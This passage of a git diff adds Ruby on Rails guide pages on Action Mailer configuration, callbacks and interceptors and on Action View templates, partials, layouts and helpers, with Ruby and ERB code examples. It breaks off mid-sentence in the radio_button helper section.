emails in your Rails app you'll need to: + +* Implement a `receive` method in your mailer. + +* Configure your email server to forward emails from the address(es) you would + like your app to receive to `/path/to/app/bin/rails runner + 'UserMailer.receive(STDIN.read)'`. + +Once a method called `receive` is defined in any mailer, Action Mailer will +parse the raw incoming email into an email object, decode it, instantiate a new +mailer, and pass the email object to the mailer `receive` instance +method. Here's an example: + +```ruby +class UserMailer < ApplicationMailer + def receive(email) + page = Page.find_by(address: email.to.first) + page.emails.create( + subject: email.subject, + body: email.body + ) + + if email.has_attachments? + email.attachments.each do |attachment| + page.attachments.create({ + file: attachment, + description: email.subject + }) + end + end + end +end +``` + +Action Mailer Callbacks +--------------------------- + +Action Mailer allows for you to specify a `before_action`, `after_action` and +`around_action`. + +* Filters can be specified with a block or a symbol to a method in the mailer + class similar to controllers. + +* You could use a `before_action` to populate the mail object with defaults, + delivery_method_options or insert default headers and attachments. + +```ruby +class InvitationsMailer < ApplicationMailer + before_action { @inviter, @invitee = params[:inviter], params[:invitee] } + before_action { @account = params[:inviter].account } + + default to: -> { @invitee.email_address }, + from: -> { common_address(@inviter) }, + reply_to: -> { @inviter.email_address_with_name } + + def account_invitation + mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})" + end + + def project_invitation + @project = params[:project] + @summarizer = ProjectInvitationSummarizer.new(@project.bucket) + + mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})" + end +end +``` + +* You could use an `after_action` to do similar setup as a `before_action` but + using instance variables set in your mailer action. + +```ruby +class UserMailer < ApplicationMailer + before_action { @business, @user = params[:business], params[:user] } + + after_action :set_delivery_options, + :prevent_delivery_to_guests, + :set_business_headers + + def feedback_message + end + + def campaign_message + end + + private + + def set_delivery_options + # You have access to the mail instance, + # @business and @user instance variables here + if @business && @business.has_smtp_settings? + mail.delivery_method.settings.merge!(@business.smtp_settings) + end + end + + def prevent_delivery_to_guests + if @user && @user.guest? + mail.perform_deliveries = false + end + end + + def set_business_headers + if @business + headers["X-SMTPAPI-CATEGORY"] = @business.code + end + end +end +``` + +* Mailer Filters abort further processing if body is set to a non-nil value. + +Using Action Mailer Helpers +--------------------------- + +Action Mailer now just inherits from `AbstractController`, so you have access to +the same generic helpers as you do in Action Controller. + +Action Mailer Configuration +--------------------------- + +The following configuration options are best made in one of the environment +files (environment.rb, production.rb, etc...) + +| Configuration | Description | +|---------------|-------------| +|`logger`|Generates information on the mailing run if available. Can be set to `nil` for no logging. Compatible with both Ruby's own `Logger` and `Log4r` loggers.| +|`smtp_settings`|Allows detailed configuration for `:smtp` delivery method:<ul><li>`:address` - Allows you to use a remote mail server. Just change it from its default `"localhost"` setting.</li><li>`:port` - On the off chance that your mail server doesn't run on port 25, you can change it.</li><li>`:domain` - If you need to specify a HELO domain, you can do it here.</li><li>`:user_name` - If your mail server requires authentication, set the username in this setting.</li><li>`:password` - If your mail server requires authentication, set the password in this setting.</li><li>`:authentication` - If your mail server requires authentication, you need to specify the authentication type here. This is a symbol and one of `:plain` (will send the password in the clear), `:login` (will send password Base64 encoded) or `:cram_md5` (combines a Challenge/Response mechanism to exchange information and a cryptographic Message Digest 5 algorithm to hash important information)</li><li>`:enable_starttls_auto` - Detects if STARTTLS is enabled in your SMTP server and starts to use it. Defaults to `true`.</li><li>`:openssl_verify_mode` - When using TLS, you can set how OpenSSL checks the certificate. This is really useful if you need to validate a self-signed and/or a wildcard certificate. You can use the name of an OpenSSL verify constant ('none' or 'peer') or directly the constant (`OpenSSL::SSL::VERIFY_NONE` or `OpenSSL::SSL::VERIFY_PEER`).</li></ul>| +|`sendmail_settings`|Allows you to override options for the `:sendmail` delivery method.<ul><li>`:location` - The location of the sendmail executable. Defaults to `/usr/sbin/sendmail`.</li><li>`:arguments` - The command line arguments to be passed to sendmail. Defaults to `-i`.</li></ul>| +|`raise_delivery_errors`|Whether or not errors should be raised if the email fails to be delivered. This only works if the external email server is configured for immediate delivery.| +|`delivery_method`|Defines a delivery method. Possible values are:<ul><li>`:smtp` (default), can be configured by using `config.action_mailer.smtp_settings`.</li><li>`:sendmail`, can be configured by using `config.action_mailer.sendmail_settings`.</li><li>`:file`: save emails to files; can be configured by using `config.action_mailer.file_settings`.</li><li>`:test`: save emails to `ActionMailer::Base.deliveries` array.</li></ul>See [API docs](http://api.rubyonrails.org/classes/ActionMailer/Base.html) for more info.| +|`perform_deliveries`|Determines whether deliveries are actually carried out when the `deliver` method is invoked on the Mail message. By default they are, but this can be turned off to help functional testing. If this value is `false`, `deliveries` array will not be populated even if `delivery_method` is `:test`.| +|`deliveries`|Keeps an array of all the emails sent out through the Action Mailer with delivery_method :test. Most useful for unit and functional testing.| +|`default_options`|Allows you to set default values for the `mail` method options (`:from`, `:reply_to`, etc.).| + +For a complete writeup of possible configurations see the +[Configuring Action Mailer](configuring.html#configuring-action-mailer) in +our Configuring Rails Applications guide. + +### Example Action Mailer Configuration + +An example would be adding the following to your appropriate +`config/environments/$RAILS_ENV.rb` file: + +```ruby +config.action_mailer.delivery_method = :sendmail +# Defaults to: +# config.action_mailer.sendmail_settings = { +# location: '/usr/sbin/sendmail', +# arguments: '-i' +# } +config.action_mailer.perform_deliveries = true +config.action_mailer.raise_delivery_errors = true +config.action_mailer.default_options = {from: 'no-reply@example.com'} +``` + +### Action Mailer Configuration for Gmail + +As Action Mailer now uses the [Mail gem](https://github.com/mikel/mail), this +becomes as simple as adding to your `config/environments/$RAILS_ENV.rb` file: + +```ruby +config.action_mailer.delivery_method = :smtp +config.action_mailer.smtp_settings = { + address: 'smtp.gmail.com', + port: 587, + domain: 'example.com', + user_name: '<username>', + password: '<password>', + authentication: 'plain', + enable_starttls_auto: true } +``` +NOTE: As of July 15, 2014, Google increased [its security measures](https://support.google.com/accounts/answer/6010255) and now blocks attempts from apps it deems less secure. +You can change your Gmail settings [here](https://www.google.com/settings/security/lesssecureapps) to allow the attempts. If your Gmail account has 2-factor authentication enabled, +then you will need to set an [app password](https://myaccount.google.com/apppasswords) and use that instead of your regular password. Alternatively, you can +use another ESP to send email by replacing 'smtp.gmail.com' above with the address of your provider. + +Mailer Testing +-------------- + +You can find detailed instructions on how to test your mailers in the +[testing guide](testing.html#testing-your-mailers). + +Intercepting and Observing Emails +------------------- + +Action Mailer provides hooks into the Mail observer and interceptor methods. These allow you to register classes that are called during the mail delivery life cycle of every email sent. + +### Intercepting Emails + +Interceptors allow you to make modifications to emails before they are handed off to the delivery agents. An interceptor class must implement the `:delivering_email(message)` method which will be called before the email is sent. + +```ruby +class SandboxEmailInterceptor + def self.delivering_email(message) + message.to = ['sandbox@example.com'] + end +end +``` + +Before the interceptor can do its job you need to register it with the Action +Mailer framework. You can do this in an initializer file +`config/initializers/sandbox_email_interceptor.rb` + +```ruby +if Rails.env.staging? + ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) +end +``` + +NOTE: The example above uses a custom environment called "staging" for a +production like server but for testing purposes. You can read +[Creating Rails environments](configuring.html#creating-rails-environments) +for more information about custom Rails environments. + +### Observing Emails + +Observers give you access to the email message after it has been sent. An observer class must implement the `:delivered_email(message)` method, which will be called after the email is sent. + +```ruby +class EmailDeliveryObserver + def self.delivered_email(message) + EmailDelivery.log(message) + end +end +``` +Like interceptors, you need to register observers with the Action Mailer framework. You can do this in an initializer file +`config/initializers/email_delivery_observer.rb` + +```ruby +ActionMailer::Base.register_observer(EmailDeliveryObserver) +``` diff --git a/guides/source/action_view_overview.md b/guides/source/action_view_overview.md new file mode 100644 index 0000000000..495ae9d267 --- /dev/null +++ b/guides/source/action_view_overview.md @@ -0,0 +1,1513 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Action View Overview +==================== + +After reading this guide, you will know: + +* What Action View is and how to use it with Rails. +* How best to use templates, partials, and layouts. +* What helpers are provided by Action View. +* How to use localized views. + +-------------------------------------------------------------------------------- + +What is Action View? +-------------------- + +In Rails, web requests are handled by [Action Controller](action_controller_overview.html) and Action View. Typically, Action Controller is concerned with communicating with the database and performing CRUD actions where necessary. Action View is then responsible for compiling the response. + +Action View templates are written using embedded Ruby in tags mingled with HTML. To avoid cluttering the templates with boilerplate code, a number of helper classes provide common behavior for forms, dates, and strings. It's also easy to add new helpers to your application as it evolves. + +NOTE: Some features of Action View are tied to Active Record, but that doesn't mean Action View depends on Active Record. Action View is an independent package that can be used with any sort of Ruby libraries. + +Using Action View with Rails +---------------------------- + +For each controller there is an associated directory in the `app/views` directory which holds the template files that make up the views associated with that controller. These files are used to display the view that results from each controller action. + +Let's take a look at what Rails does by default when creating a new resource using the scaffold generator: + +```bash +$ rails generate scaffold article + [...] + invoke scaffold_controller + create app/controllers/articles_controller.rb + invoke erb + create app/views/articles + create app/views/articles/index.html.erb + create app/views/articles/edit.html.erb + create app/views/articles/show.html.erb + create app/views/articles/new.html.erb + create app/views/articles/_form.html.erb + [...] +``` + +There is a naming convention for views in Rails. Typically, the views share their name with the associated controller action, as you can see above. +For example, the index controller action of the `articles_controller.rb` will use the `index.html.erb` view file in the `app/views/articles` directory. +The complete HTML returned to the client is composed of a combination of this ERB file, a layout template that wraps it, and all the partials that the view may reference. Within this guide you will find more detailed documentation about each of these three components. + + +Templates, Partials, and Layouts +------------------------------- + +As mentioned, the final HTML output is a composition of three Rails elements: `Templates`, `Partials` and `Layouts`. +Below is a brief overview of each of them. + +### Templates + +Action View templates can be written in several ways. If the template file has a `.erb` extension then it uses a mixture of ERB (Embedded Ruby) and HTML. If the template file has a `.builder` extension then the `Builder::XmlMarkup` library is used. + +Rails supports multiple template systems and uses a file extension to distinguish amongst them. For example, an HTML file using the ERB template system will have `.html.erb` as a file extension. + +#### ERB + +Within an ERB template, Ruby code can be included using both `<% %>` and `<%= %>` tags. The `<% %>` tags are used to execute Ruby code that does not return anything, such as conditions, loops, or blocks, and the `<%= %>` tags are used when you want output. + +Consider the following loop for names: + +```html+erb +<h1>Names of all the people</h1> +<% @people.each do |person| %> + Name: <%= person.name %><br> +<% end %> +``` + +The loop is set up using regular embedding tags (`<% %>`) and the name is inserted using the output embedding tags (`<%= %>`). Note that this is not just a usage suggestion: regular output functions such as `print` and `puts` won't be rendered to the view with ERB templates. So this would be wrong: + +```html+erb +<%# WRONG %> +Hi, Mr. <% puts "Frodo" %> +``` + +To suppress leading and trailing whitespaces, you can use `<%-` `-%>` interchangeably with `<%` and `%>`. + +#### Builder + +Builder templates are a more programmatic alternative to ERB. They are especially useful for generating XML content. An XmlMarkup object named `xml` is automatically made available to templates with a `.builder` extension. + +Here are some basic examples: + +```ruby +xml.em("emphasized") +xml.em { xml.b("emph & bold") } +xml.a("A Link", "href" => "http://rubyonrails.org") +xml.target("name" => "compile", "option" => "fast") +``` + +which would produce: + +```html +<em>emphasized</em> +<em><b>emph & bold</b></em> +<a href="http://rubyonrails.org">A link</a> +<target option="fast" name="compile" /> +``` + +Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following: + +```ruby +xml.div { + xml.h1(@person.name) + xml.p(@person.bio) +} +``` + +would produce something like: + +```html +<div> + <h1>David Heinemeier Hansson</h1> + <p>A product of Danish Design during the Winter of '79...</p> +</div> +``` + +Below is a full-length RSS example actually used on Basecamp: + +```ruby +xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do + xml.channel do + xml.title(@feed_title) + xml.link(@url) + xml.description "Basecamp: Recent items" + xml.language "en-us" + xml.ttl "40" + + for item in @recent_items + xml.item do + xml.title(item_title(item)) + xml.description(item_description(item)) if item_description(item) + xml.pubDate(item_pubDate(item)) + xml.guid(@person.firm.account.url + @recent_items.url(item)) + xml.link(@person.firm.account.url + @recent_items.url(item)) + xml.tag!("dc:creator", item.author_name) if item_has_creator?(item) + end + end + end +end +``` + +#### Jbuilder +[Jbuilder](https://github.com/rails/jbuilder) is a gem that's +maintained by the Rails team and included in the default Rails `Gemfile`. +It's similar to Builder, but is used to generate JSON, instead of XML. + +If you don't have it, you can add the following to your `Gemfile`: + +```ruby +gem 'jbuilder' +``` + +A Jbuilder object named `json` is automatically made available to templates with +a `.jbuilder` extension. + +Here is a basic example: + +```ruby +json.name("Alex") +json.email("alex@example.com") +``` + +would produce: + +```json +{ + "name": "Alex", + "email": "alex@example.com" +} +``` + +See the [Jbuilder documentation](https://github.com/rails/jbuilder#jbuilder) for +more examples and information. + +#### Template Caching + +By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will check the file's modification time and recompile it in development mode. + +### Partials + +Partial templates - usually just called "partials" - are another device for breaking the rendering process into more manageable chunks. With partials, you can extract pieces of code from your templates to separate files and also reuse them throughout your templates. + +#### Naming Partials + +To render a partial as part of a view, you use the `render` method within the view: + +```erb +<%= render "menu" %> +``` + +This will render a file named `_menu.html.erb` at that point within the view that is being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder: + +```erb +<%= render "shared/menu" %> +``` + +That code will pull in the partial from `app/views/shared/_menu.html.erb`. + +#### Using Partials to simplify Views + +One way to use partials is to treat them as the equivalent of subroutines; a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looks like this: + +```html+erb +<%= render "shared/ad_banner" %> + +<h1>Products</h1> + +<p>Here are a few of our fine products:</p> +<% @products.each do |product| %> + <%= render partial: "product", locals: { product: product } %> +<% end %> + +<%= render "shared/footer" %> +``` + +Here, the `_ad_banner.html.erb` and `_footer.html.erb` partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page. + +#### `render` without `partial` and `locals` options + +In the above example, `render` takes 2 options: `partial` and `locals`. But if +these are the only options you want to pass, you can skip using these options. +For example, instead of: + +```erb +<%= render partial: "product", locals: { product: @product } %> +``` + +You can also do: + +```erb +<%= render "product", product: @product %> +``` + +#### The `as` and `object` options + +By default `ActionView::Partials::PartialRenderer` has its object in a local variable with the same name as the template. So, given: + +```erb +<%= render partial: "product" %> +``` + +within `_product` partial we'll get `@product` in the local variable `product`, +as if we had written: + +```erb +<%= render partial: "product", locals: { product: @product } %> +``` + +The `object` option can be used to directly specify which object is rendered into the partial; useful when the template's object is elsewhere (e.g. in a different instance variable or in a local variable). + +For example, instead of: + +```erb +<%= render partial: "product", locals: { product: @item } %> +``` + +we would do: + +```erb +<%= render partial: "product", object: @item %> +``` + +With the `as` option we can specify a different name for the said local variable. For example, if we wanted it to be `item` instead of `product` we would do: + +```erb +<%= render partial: "product", object: @item, as: "item" %> +``` + +This is equivalent to + +```erb +<%= render partial: "product", locals: { item: @item } %> +``` + +#### Rendering Collections + +It is very common that a template will need to iterate over a collection and render a sub-template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders a partial for each one of the elements in the array. + +So this example for rendering all the products: + +```erb +<% @products.each do |product| %> + <%= render partial: "product", locals: { product: product } %> +<% end %> +``` + +can be rewritten in a single line: + +```erb +<%= render partial: "product", collection: @products %> +``` + +When a partial is called with a collection, the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is `_product`, and within it you can refer to `product` to get the collection member that is being rendered. + +You can use a shorthand syntax for rendering collections. Assuming `@products` is a collection of `Product` instances, you can simply write the following to produce the same result: + +```erb +<%= render @products %> +``` + +Rails determines the name of the partial to use by looking at the model name in the collection, `Product` in this case. In fact, you can even render a collection made up of instances of different models using this shorthand, and Rails will choose the proper partial for each member of the collection. + +#### Spacer Templates + +You can also specify a second partial to be rendered between instances of the main partial by using the `:spacer_template` option: + +```erb +<%= render partial: @products, spacer_template: "product_ruler" %> +``` + +Rails will render the `_product_ruler` partial (with no data passed to it) between each pair of `_product` partials. + +### Layouts + +Layouts can be used to render a common view template around the results of Rails controller actions. Typically, a Rails application will have a couple of layouts that pages will be rendered within. For example, a site might have one layout for a logged in user and another for the marketing or sales side of the site. The logged in user layout might include top-level navigation that should be present across many controller actions. The sales layout for a SaaS app might include top-level navigation for things like "Pricing" and "Contact Us" pages. You would expect each layout to have a different look and feel. You can read about layouts in more detail in the [Layouts and Rendering in Rails](layouts_and_rendering.html) guide. + +Partial Layouts +--------------- + +Partials can have their own layouts applied to them. These layouts are different from those applied to a controller action, but they work in a similar fashion. + +Let's say we're displaying an article on a page which should be wrapped in a `div` for display purposes. Firstly, we'll create a new `Article`: + +```ruby +Article.create(body: 'Partial Layouts are cool!') +``` + +In the `show` template, we'll render the `_article` partial wrapped in the `box` layout: + +**articles/show.html.erb** + +```erb +<%= render partial: 'article', layout: 'box', locals: { article: @article } %> +``` + +The `box` layout simply wraps the `_article` partial in a `div`: + +**articles/_box.html.erb** + +```html+erb +<div class='box'> + <%= yield %> +</div> +``` + +Note that the partial layout has access to the local `article` variable that was passed into the `render` call. However, unlike application-wide layouts, partial layouts still have the underscore prefix. + +You can also render a block of code within a partial layout instead of calling `yield`. For example, if we didn't have the `_article` partial, we could do this instead: + +**articles/show.html.erb** + +```html+erb +<% render(layout: 'box', locals: { article: @article }) do %> + <div> + <p><%= article.body %></p> + </div> +<% end %> +``` + +Supposing we use the same `_box` partial from above, this would produce the same output as the previous example. + +View Paths +---------- + +When rendering a response, the controller needs to resolve where the different +views are located. By default it only looks inside the `app/views` directory. + +We can add other locations and give them a certain precedence when resolving +paths using the `prepend_view_path` and `append_view_path` methods. + +### Prepend view path + +This can be helpful for example, when we want to put views inside a different +directory for subdomains. + +We can do this by using: + +```ruby +prepend_view_path "app/views/#{request.subdomain}" +``` + +Then Action View will look first in this directory when resolving views. + +### Append view path + +Similarly, we can append paths: + +```ruby +append_view_path "app/views/direct" +``` + +This will add `app/views/direct` to the end of the lookup paths. + +Overview of helpers provided by Action View +------------------------------------------- + +WIP: Not all the helpers are listed here. For a full list see the [API documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html) + +The following is only a brief overview summary of the helpers available in Action View. It's recommended that you review the [API Documentation](http://api.rubyonrails.org/classes/ActionView/Helpers.html), which covers all of the helpers in more detail, but this should serve as a good starting point. + +### AssetTagHelper + +This module provides methods for generating HTML that links views to assets such as images, JavaScript files, stylesheets, and feeds. + +By default, Rails links to these assets on the current host in the public folder, but you can direct Rails to link to assets from a dedicated assets server by setting `config.action_controller.asset_host` in the application configuration, typically in `config/environments/production.rb`. For example, let's say your asset host is `assets.example.com`: + +```ruby +config.action_controller.asset_host = "assets.example.com" +image_tag("rails.png") # => <img src="http://assets.example.com/images/rails.png" /> +``` + +#### auto_discovery_link_tag + +Returns a link tag that browsers and feed readers can use to auto-detect an RSS, Atom, or JSON feed. + +```ruby +auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", { title: "RSS Feed" }) # => + <link rel="alternate" type="application/rss+xml" title="RSS Feed" href="http://www.example.com/feed.rss" /> +``` + +#### image_path + +Computes the path to an image asset in the `app/assets/images` directory. Full paths from the document root will be passed through. Used internally by `image_tag` to build the image path. + +```ruby +image_path("edit.png") # => /assets/edit.png +``` + +Fingerprint will be added to the filename if config.assets.digest is set to true. + +```ruby +image_path("edit.png") # => /assets/edit-2d1a2db63fc738690021fedb5a65b68e.png +``` + +#### image_url + +Computes the URL to an image asset in the `app/assets/images` directory. This will call `image_path` internally and merge with your current host or your asset host. + +```ruby +image_url("edit.png") # => http://www.example.com/assets/edit.png +``` + +#### image_tag + +Returns an HTML image tag for the source. The source can be a full path or a file that exists in your `app/assets/images` directory. + +```ruby +image_tag("icon.png") # => <img src="/assets/icon.png" /> +``` + +#### javascript_include_tag + +Returns an HTML script tag for each of the sources provided. You can pass in the filename (`.js` extension is optional) of JavaScript files that exist in your `app/assets/javascripts` directory for inclusion into the current page or you can pass the full path relative to your document root. + +```ruby +javascript_include_tag "common" # => <script src="/assets/common.js"></script> +``` + +#### javascript_path + +Computes the path to a JavaScript asset in the `app/assets/javascripts` directory. If the source filename has no extension, `.js` will be appended. Full paths from the document root will be passed through. Used internally by `javascript_include_tag` to build the script path. + +```ruby +javascript_path "common" # => /assets/common.js +``` + +#### javascript_url + +Computes the URL to a JavaScript asset in the `app/assets/javascripts` directory. This will call `javascript_path` internally and merge with your current host or your asset host. + +```ruby +javascript_url "common" # => http://www.example.com/assets/common.js +``` + +#### stylesheet_link_tag + +Returns a stylesheet link tag for the sources specified as arguments. If you don't specify an extension, `.css` will be appended automatically. + +```ruby +stylesheet_link_tag "application" # => <link href="/assets/application.css" media="screen" rel="stylesheet" /> +``` + +#### stylesheet_path + +Computes the path to a stylesheet asset in the `app/assets/stylesheets` directory. If the source filename has no extension, `.css` will be appended. Full paths from the document root will be passed through. Used internally by `stylesheet_link_tag` to build the stylesheet path. + +```ruby +stylesheet_path "application" # => /assets/application.css +``` + +#### stylesheet_url + +Computes the URL to a stylesheet asset in the `app/assets/stylesheets` directory. This will call `stylesheet_path` internally and merge with your current host or your asset host. + +```ruby +stylesheet_url "application" # => http://www.example.com/assets/application.css +``` + +### AtomFeedHelper + +#### atom_feed + +This helper makes building an Atom feed easy. Here's a full usage example: + +**config/routes.rb** + +```ruby +resources :articles +``` + +**app/controllers/articles_controller.rb** + +```ruby +def index + @articles = Article.all + + respond_to do |format| + format.html + format.atom + end +end +``` + +**app/views/articles/index.atom.builder** + +```ruby +atom_feed do |feed| + feed.title("Articles Index") + feed.updated(@articles.first.created_at) + + @articles.each do |article| + feed.entry(article) do |entry| + entry.title(article.title) + entry.content(article.body, type: 'html') + + entry.author do |author| + author.name(article.author_name) + end + end + end +end +``` + +### BenchmarkHelper + +#### benchmark + +Allows you to measure the execution time of a block in a template and records the result to the log. Wrap this block around expensive operations or possible bottlenecks to get a time reading for the operation. + +```html+erb +<% benchmark "Process data files" do %> + <%= expensive_files_operation %> +<% end %> +``` + +This would add something like "Process data files (0.34523)" to the log, which you can then use to compare timings when optimizing your code. + +### CacheHelper + +#### cache + +A method for caching fragments of a view rather than an entire action or page. This technique is useful for caching pieces like menus, lists of news topics, static HTML fragments, and so on. This method takes a block that contains the content you wish to cache. See `AbstractController::Caching::Fragments` for more information. + +```erb +<% cache do %> + <%= render "shared/footer" %> +<% end %> +``` + +### CaptureHelper + +#### capture + +The `capture` method allows you to extract part of a template into a variable. You can then use this variable anywhere in your templates or layout. + +```html+erb +<% @greeting = capture do %> + <p>Welcome! The date and time is <%= Time.now %></p> +<% end %> +``` + +The captured variable can then be used anywhere else. + +```html+erb +<html> + <head> + <title>Welcome!</title> + </head> + <body> + <%= @greeting %> + </body> +</html> +``` + +#### content_for + +Calling `content_for` stores a block of markup in an identifier for later use. You can make subsequent calls to the stored content in other templates or the layout by passing the identifier as an argument to `yield`. + +For example, let's say we have a standard application layout, but also a special page that requires certain JavaScript that the rest of the site doesn't need. We can use `content_for` to include this JavaScript on our special page without fattening up the rest of the site. + +**app/views/layouts/application.html.erb** + +```html+erb +<html> + <head> + <title>Welcome!</title> + <%= yield :special_script %> + </head> + <body> + <p>Welcome! The date and time is <%= Time.now %></p> + </body> +</html> +``` + +**app/views/articles/special.html.erb** + +```html+erb +<p>This is a special page.</p> + +<% content_for :special_script do %> + <script>alert('Hello!')</script> +<% end %> +``` + +### DateHelper + +#### date_select + +Returns a set of select tags (one for year, month, and day) pre-selected for accessing a specified date-based attribute. + +```ruby +date_select("article", "published_on") +``` + +#### datetime_select + +Returns a set of select tags (one for year, month, day, hour, and minute) pre-selected for accessing a specified datetime-based attribute. + +```ruby +datetime_select("article", "published_on") +``` + +#### distance_of_time_in_words + +Reports the approximate distance in time between two Time or Date objects or integers as seconds. Set `include_seconds` to true if you want more detailed approximations. + +```ruby +distance_of_time_in_words(Time.now, Time.now + 15.seconds) # => less than a minute +distance_of_time_in_words(Time.now, Time.now + 15.seconds, include_seconds: true) # => less than 20 seconds +``` + +#### select_date + +Returns a set of HTML select-tags (one for year, month, and day) pre-selected with the `date` provided. + +```ruby +# Generates a date select that defaults to the date provided (six days after today) +select_date(Time.today + 6.days) + +# Generates a date select that defaults to today (no specified date) +select_date() +``` + +#### select_datetime + +Returns a set of HTML select-tags (one for year, month, day, hour, and minute) pre-selected with the `datetime` provided. + +```ruby +# Generates a datetime select that defaults to the datetime provided (four days after today) +select_datetime(Time.now + 4.days) + +# Generates a datetime select that defaults to today (no specified datetime) +select_datetime() +``` + +#### select_day + +Returns a select tag with options for each of the days 1 through 31 with the current day selected. + +```ruby +# Generates a select field for days that defaults to the day for the date provided +select_day(Time.today + 2.days) + +# Generates a select field for days that defaults to the number given +select_day(5) +``` + +#### select_hour + +Returns a select tag with options for each of the hours 0 through 23 with the current hour selected. + +```ruby +# Generates a select field for hours that defaults to the hours for the time provided +select_hour(Time.now + 6.hours) +``` + +#### select_minute + +Returns a select tag with options for each of the minutes 0 through 59 with the current minute selected. + +```ruby +# Generates a select field for minutes that defaults to the minutes for the time provided. +select_minute(Time.now + 10.minutes) +``` + +#### select_month + +Returns a select tag with options for each of the months January through December with the current month selected. + +```ruby +# Generates a select field for months that defaults to the current month +select_month(Date.today) +``` + +#### select_second + +Returns a select tag with options for each of the seconds 0 through 59 with the current second selected. + +```ruby +# Generates a select field for seconds that defaults to the seconds for the time provided +select_second(Time.now + 16.seconds) +``` + +#### select_time + +Returns a set of HTML select-tags (one for hour and minute). + +```ruby +# Generates a time select that defaults to the time provided +select_time(Time.now) +``` + +#### select_year + +Returns a select tag with options for each of the five years on each side of the current, which is selected. The five year radius can be changed using the `:start_year` and `:end_year` keys in the `options`. + +```ruby +# Generates a select field for five years on either side of Date.today that defaults to the current year +select_year(Date.today) + +# Generates a select field from 1900 to 2009 that defaults to the current year +select_year(Date.today, start_year: 1900, end_year: 2009) +``` + +#### time_ago_in_words + +Like `distance_of_time_in_words`, but where `to_time` is fixed to `Time.now`. + +```ruby +time_ago_in_words(3.minutes.from_now) # => 3 minutes +``` + +#### time_select + +Returns a set of select tags (one for hour, minute, and optionally second) pre-selected for accessing a specified time-based attribute. The selects are prepared for multi-parameter assignment to an Active Record object. + +```ruby +# Creates a time select tag that, when POSTed, will be stored in the order variable in the submitted attribute +time_select("order", "submitted") +``` + +### DebugHelper + +Returns a `pre` tag that has object dumped by YAML. This creates a very readable way to inspect an object. + +```ruby +my_hash = { 'first' => 1, 'second' => 'two', 'third' => [1,2,3] } +debug(my_hash) +``` + +```html +<pre class='debug_dump'>--- +first: 1 +second: two +third: +- 1 +- 2 +- 3 +</pre> +``` + +### FormHelper + +Form helpers are designed to make working with models much easier compared to using just standard HTML elements by providing a set of methods for creating forms based on your models. This helper generates the HTML for forms, providing a method for each sort of input (e.g., text, password, select, and so on). When the form is submitted (i.e., when the user hits the submit button or form.submit is called via JavaScript), the form inputs will be bundled into the params object and passed back to the controller. + +There are two types of form helpers: those that specifically work with model attributes and those that don't. This helper deals with those that work with model attributes; to see an example of form helpers that don't work with model attributes, check the `ActionView::Helpers::FormTagHelper` documentation. + +The core method of this helper, `form_for`, gives you the ability to create a form for a model instance; for example, let's say that you have a model Person and want to create a new instance of it: + +```html+erb +# Note: a @person variable will have been created in the controller (e.g. @person = Person.new) +<%= form_for @person, url: { action: "create" } do |f| %> + <%= f.text_field :first_name %> + <%= f.text_field :last_name %> + <%= submit_tag 'Create' %> +<% end %> +``` + +The HTML generated for this would be: + +```html +<form class="new_person" id="new_person" action="/people" accept-charset="UTF-8" method="post"> + <input name="utf8" type="hidden" value="✓" /> + <input type="hidden" name="authenticity_token" value="lTuvBzs7ANygT0NFinXj98tfw3Emfm65wwYLbUvoWsK2pngccIQSUorM2C035M9dZswXgWTvKwFS8W5TVblpYw==" /> + <input type="text" name="person[first_name]" id="person_first_name" /> + <input type="text" name="person[last_name]" id="person_last_name" /> + <input type="submit" name="commit" value="Create" data-disable-with="Create" /> +</form> +``` + +The params object created when this form is submitted would look like: + +```ruby +{"utf8" => "✓", "authenticity_token" => "lTuvBzs7ANygT0NFinXj98tfw3Emfm65wwYLbUvoWsK2pngccIQSUorM2C035M9dZswXgWTvKwFS8W5TVblpYw==", "person" => {"first_name" => "William", "last_name" => "Smith"}, "commit" => "Create", "controller" => "people", "action" => "create"} +``` + +The params hash has a nested person value, which can therefore be accessed with `params[:person]` in the controller. + +#### check_box + +Returns a checkbox tag tailored for accessing a specified attribute. + +```ruby +# Let's say that @article.validated? is 1: +check_box("article", "validated") +# => <input type="checkbox" id="article_validated" name="article[validated]" value="1" /> +# <input name="article[validated]" type="hidden" value="0" /> +``` + +#### fields_for + +Creates a scope around a specific model object like `form_for`, but doesn't create the form tags themselves. This makes `fields_for` suitable for specifying additional model objects in the same form: + +```html+erb +<%= form_for @person, url: { action: "update" } do |person_form| %> + First name: <%= person_form.text_field :first_name %> + Last name : <%= person_form.text_field :last_name %> + + <%= fields_for @person.permission do |permission_fields| %> + Admin? : <%= permission_fields.check_box :admin %> + <% end %> +<% end %> +``` + +#### file_field + +Returns a file upload input tag tailored for accessing a specified attribute. + +```ruby +file_field(:user, :avatar) +# => <input type="file" id="user_avatar" name="user[avatar]" /> +``` + +#### form_for + +Creates a form and a scope around a specific model object that is used as a base for questioning about values for the fields. + +```html+erb +<%= form_for @article do |f| %> + <%= f.label :title, 'Title' %>: + <%= f.text_field :title %><br> + <%= f.label :body, 'Body' %>: + <%= f.text_area :body %><br> +<% end %> +``` + +#### hidden_field + +Returns a hidden input tag tailored for accessing a specified attribute. + +```ruby +hidden_field(:user, :token) +# => <input type="hidden" id="user_token" name="user[token]" value="#{@user.token}" /> +``` + +#### label + +Returns a label tag tailored for labelling an input field for a specified attribute. + +```ruby +label(:article, :title) +# => <label for="article_title">Title</label> +``` + +#### password_field + +Returns an input tag of the "password" type tailored for accessing a specified attribute. + +```ruby +password_field(:login, :pass) +# => <input type="text" id="login_pass" name="login[pass]" value="#{@login.pass}" /> +``` + +#### radio_button + +Returns a radio button tag for accessing a specified attribute. + +```ruby +# Let's say that @article.category returns 